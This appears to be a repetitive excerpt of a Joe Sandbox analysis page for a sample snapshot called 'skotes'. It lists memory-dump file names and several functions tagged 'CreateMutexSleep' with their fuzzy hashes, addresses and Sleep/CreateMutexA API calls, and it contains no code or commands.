Associated: 00000002.00000002.2102121116.0000000000BE9000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102213733.0000000000BEB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102246593.0000000000BF5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102269008.0000000000BF6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102302681.0000000000BF7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102603312.0000000000D52000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102640738.0000000000D55000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102831176.0000000000D6D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103021393.0000000000D6E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103264295.0000000000D6F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103264295.0000000000D7B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103649520.0000000000D80000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103795256.0000000000D81000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103983773.0000000000D82000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2104179336.0000000000D84000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2104311990.0000000000D8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2104353471.0000000000D95000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2104527218.0000000000DAE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2104787104.0000000000DBF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2105212900.0000000000DD5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2105257860.0000000000DDD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2105293102.0000000000DDE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2105328390.0000000000DE3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2105357270.0000000000DEB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2105390169.0000000000DF0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2107308936.0000000000DF1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2107344991.0000000000DF4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2107389054.0000000000DFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2107457807.0000000000DFD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2107497702.0000000000E09000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2107531950.0000000000E0A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2107604591.0000000000E0B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2107638575.0000000000E0F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2107686925.0000000000E10000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2107746037.0000000000E15000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2107806442.0000000000E1D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2107878900.0000000000E20000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2108384992.0000000000E3D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2108429181.0000000000E3E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2108429181.0000000000E5E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2108573451.0000000000E8C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2108710894.0000000000E8D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2108790475.0000000000E8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2108824896.0000000000E93000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2108860179.0000000000E95000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2108891661.0000000000EA3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2108920149.0000000000EA4000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_b80000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: ca2981285118d0cab70b3fa2e8ffe2f8bcc04e61598f47c9eaa8c2efbd272690
Instruction ID: dd3018d3688d6259373a43201cc82703929fbf7a9be40f9d1faf72c2020f7a1a
Opcode Fuzzy Hash: ca2981285118d0cab70b3fa2e8ffe2f8bcc04e61598f47c9eaa8c2efbd272690
Instruction Fuzzy Hash: 6831F5317042449BFB18ABB8DCCDBADB7E2DB96310F24429AE018A72E5D7759980C752

Function 00B8A1AE Relevance: 3.1, APIs: 2, Instructions: 135
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 00B8A963
CreateMutexA.KERNELBASE(00000000,00000000,00BE3254), ref: 00B8A981

Memory Dump Source

Source File: 00000002.00000002.2101951390.0000000000B81000.00000040.00000001.01000000.00000008.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000002.00000002.2101911667.0000000000B80000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2101951390.0000000000BE2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102121116.0000000000BE9000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102213733.0000000000BEB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102246593.0000000000BF5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102269008.0000000000BF6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102302681.0000000000BF7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102603312.0000000000D52000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102640738.0000000000D55000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102831176.0000000000D6D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103021393.0000000000D6E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103264295.0000000000D6F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103264295.0000000000D7B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103649520.0000000000D80000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103795256.0000000000D81000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103983773.0000000000D82000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2104179336.0000000000D84000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2104311990.0000000000D8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2104353471.0000000000D95000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2104527218.0000000000DAE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2104787104.0000000000DBF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2105212900.0000000000DD5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2105257860.0000000000DDD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2105293102.0000000000DDE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2105328390.0000000000DE3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2105357270.0000000000DEB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2105390169.0000000000DF0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2107308936.0000000000DF1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2107344991.0000000000DF4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2107389054.0000000000DFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2107457807.0000000000DFD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2107497702.0000000000E09000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2107531950.0000000000E0A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2107604591.0000000000E0B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2107638575.0000000000E0F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2107686925.0000000000E10000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2107746037.0000000000E15000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2107806442.0000000000E1D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2107878900.0000000000E20000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2108384992.0000000000E3D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2108429181.0000000000E3E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2108429181.0000000000E5E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2108573451.0000000000E8C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2108710894.0000000000E8D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2108790475.0000000000E8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2108824896.0000000000E93000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2108860179.0000000000E95000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2108891661.0000000000EA3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2108920149.0000000000EA4000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_b80000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: d062720b87b20be06cdcb1fde9bcfaad85b75fd682043e7d0bf54db30c444be2
Instruction ID: bffae3eb2fa2ddd50a9b37c345674800868f1de9f4dcbb918b0a154911a7b949
Opcode Fuzzy Hash: d062720b87b20be06cdcb1fde9bcfaad85b75fd682043e7d0bf54db30c444be2
Instruction Fuzzy Hash: F53107317042449BFB18BB78DCCDBADB7E2EB96310F24429AE014A72E5D7759980C712

Function 00B8A418 Relevance: 3.1, APIs: 2, Instructions: 133
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 00B8A963
CreateMutexA.KERNELBASE(00000000,00000000,00BE3254), ref: 00B8A981

Memory Dump Source

Source File: 00000002.00000002.2101951390.0000000000B81000.00000040.00000001.01000000.00000008.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000002.00000002.2101911667.0000000000B80000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2101951390.0000000000BE2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102121116.0000000000BE9000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102213733.0000000000BEB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102246593.0000000000BF5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102269008.0000000000BF6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102302681.0000000000BF7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102603312.0000000000D52000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102640738.0000000000D55000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102831176.0000000000D6D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103021393.0000000000D6E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103264295.0000000000D6F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103264295.0000000000D7B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103649520.0000000000D80000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103795256.0000000000D81000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103983773.0000000000D82000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2104179336.0000000000D84000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2104311990.0000000000D8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2104353471.0000000000D95000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2104527218.0000000000DAE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2104787104.0000000000DBF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2105212900.0000000000DD5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2105257860.0000000000DDD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2105293102.0000000000DDE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2105328390.0000000000DE3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2105357270.0000000000DEB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2105390169.0000000000DF0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2107308936.0000000000DF1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2107344991.0000000000DF4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2107389054.0000000000DFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2107457807.0000000000DFD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2107497702.0000000000E09000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2107531950.0000000000E0A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2107604591.0000000000E0B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2107638575.0000000000E0F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2107686925.0000000000E10000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2107746037.0000000000E15000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2107806442.0000000000E1D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2107878900.0000000000E20000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2108384992.0000000000E3D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2108429181.0000000000E3E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2108429181.0000000000E5E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2108573451.0000000000E8C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2108710894.0000000000E8D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2108790475.0000000000E8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2108824896.0000000000E93000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2108860179.0000000000E95000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2108891661.0000000000EA3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2108920149.0000000000EA4000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_b80000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 764d59e88c6c54a46e6958b187a2c41f07997bfd4b461956877be6db12c8dddf
Instruction ID: e1ba7fcc1b0a86ef3c4a8b210abfefcc5ffd0146fab79ebf1cb998260636bfd8
Opcode Fuzzy Hash: 764d59e88c6c54a46e6958b187a2c41f07997bfd4b461956877be6db12c8dddf
Instruction Fuzzy Hash: 8E3119317041449BFF18BB78D88DBADBBE1DB95310F24429AE018973E5D7B59980C752

Function 00B8A54D Relevance: 3.1, APIs: 2, Instructions: 132
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 00B8A963
CreateMutexA.KERNELBASE(00000000,00000000,00BE3254), ref: 00B8A981

Memory Dump Source

Source File: 00000002.00000002.2101951390.0000000000B81000.00000040.00000001.01000000.00000008.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000002.00000002.2101911667.0000000000B80000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2101951390.0000000000BE2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102121116.0000000000BE9000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102213733.0000000000BEB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102246593.0000000000BF5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102269008.0000000000BF6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102302681.0000000000BF7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102603312.0000000000D52000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102640738.0000000000D55000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102831176.0000000000D6D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103021393.0000000000D6E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103264295.0000000000D6F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103264295.0000000000D7B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103649520.0000000000D80000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103795256.0000000000D81000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103983773.0000000000D82000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2104179336.0000000000D84000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2104311990.0000000000D8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2104353471.0000000000D95000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2104527218.0000000000DAE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2104787104.0000000000DBF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2105212900.0000000000DD5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2105257860.0000000000DDD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2105293102.0000000000DDE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2105328390.0000000000DE3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2105357270.0000000000DEB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2105390169.0000000000DF0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2107308936.0000000000DF1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2107344991.0000000000DF4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2107389054.0000000000DFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2107457807.0000000000DFD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2107497702.0000000000E09000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2107531950.0000000000E0A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2107604591.0000000000E0B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2107638575.0000000000E0F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2107686925.0000000000E10000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2107746037.0000000000E15000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2107806442.0000000000E1D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2107878900.0000000000E20000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2108384992.0000000000E3D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2108429181.0000000000E3E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2108429181.0000000000E5E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2108573451.0000000000E8C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2108710894.0000000000E8D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2108790475.0000000000E8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2108824896.0000000000E93000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2108860179.0000000000E95000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2108891661.0000000000EA3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2108920149.0000000000EA4000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_b80000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 8e1a939f43b08dc7b7e99f607f74070b33f8a21e0b5c33fd18cf3b3ea05a32fc
Instruction ID: 9bc067b7645bd9be5fe04c44e53a7cc6c12b7de93df73134eafb64f537ea8d43
Opcode Fuzzy Hash: 8e1a939f43b08dc7b7e99f607f74070b33f8a21e0b5c33fd18cf3b3ea05a32fc
Instruction Fuzzy Hash: 06312A317051049BFB08EB78DCC9BACB7E1EB95314F24429AE014DB2E5CB759980C712

Function 00B8A682 Relevance: 3.1, APIs: 2, Instructions: 131
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 00B8A963
CreateMutexA.KERNELBASE(00000000,00000000,00BE3254), ref: 00B8A981

Memory Dump Source

Source File: 00000002.00000002.2101951390.0000000000B81000.00000040.00000001.01000000.00000008.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000002.00000002.2101911667.0000000000B80000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2101951390.0000000000BE2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102121116.0000000000BE9000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102213733.0000000000BEB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102246593.0000000000BF5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102269008.0000000000BF6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102302681.0000000000BF7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102603312.0000000000D52000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102640738.0000000000D55000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102831176.0000000000D6D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103021393.0000000000D6E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103264295.0000000000D6F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103264295.0000000000D7B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103649520.0000000000D80000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103795256.0000000000D81000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103983773.0000000000D82000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2104179336.0000000000D84000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2104311990.0000000000D8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2104353471.0000000000D95000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2104527218.0000000000DAE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2104787104.0000000000DBF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2105212900.0000000000DD5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2105257860.0000000000DDD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2105293102.0000000000DDE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2105328390.0000000000DE3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2105357270.0000000000DEB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2105390169.0000000000DF0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2107308936.0000000000DF1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2107344991.0000000000DF4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2107389054.0000000000DFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2107457807.0000000000DFD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2107497702.0000000000E09000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2107531950.0000000000E0A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2107604591.0000000000E0B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2107638575.0000000000E0F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2107686925.0000000000E10000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2107746037.0000000000E15000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2107806442.0000000000E1D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2107878900.0000000000E20000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2108384992.0000000000E3D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2108429181.0000000000E3E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2108429181.0000000000E5E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2108573451.0000000000E8C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2108710894.0000000000E8D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2108790475.0000000000E8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2108824896.0000000000E93000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2108860179.0000000000E95000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2108891661.0000000000EA3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2108920149.0000000000EA4000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_b80000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 5260d839f65f644e7cf071825b5b85bce97f9841e058f8093cc3fb6d8c2b5b8c
Instruction ID: d34d7c06136eb0bc74852c44d8c6849383f3aec14ce156582f842034f54d3d40
Opcode Fuzzy Hash: 5260d839f65f644e7cf071825b5b85bce97f9841e058f8093cc3fb6d8c2b5b8c
